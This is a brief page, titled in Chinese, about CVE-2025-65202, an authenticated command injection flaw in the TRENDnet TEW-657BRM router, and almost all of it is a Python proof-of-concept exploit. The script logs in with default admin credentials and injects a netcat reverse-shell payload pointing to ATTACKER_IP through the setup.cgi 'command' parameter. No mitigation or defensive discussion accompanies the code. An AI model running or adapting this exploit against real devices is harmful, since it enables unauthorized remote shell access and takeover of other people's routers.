CVE-2025-65202 TRENDnet TEW-657BRM 远程命令注入漏洞

import requests import sys # CVE-2025-65202 PoC for TRENDnet TEW-657BRM Command Injection # Target: TRENDnet TEW-657BRM 1.00.1 # Vulnerability: Authenticated OS Command Injection in setup.cgi target_ip = sys.argv[1] if len(sys.argv) > 1 else "192.168.10.1" username = "admin" password = "admin" # Authentication session = requests.Session() auth = session.post(f"http://{target_ip}/login.cgi", data={ "username": username, "password": password }) # Command injection via 'command' parameter # Inject reverse shell command payload = ";nc -e /bin/bash ATTACKER_IP 4444 #" inject_url = f"http://{target_ip}/setup.cgi" params = { "command": payload, "todo": "save", "next_file": "../index.asp" } response = session.get(inject_url, params=params) print(f"[*] Exploit sent. Check your listener on port 4444") print(f"[*] Response status: {response.status_code}")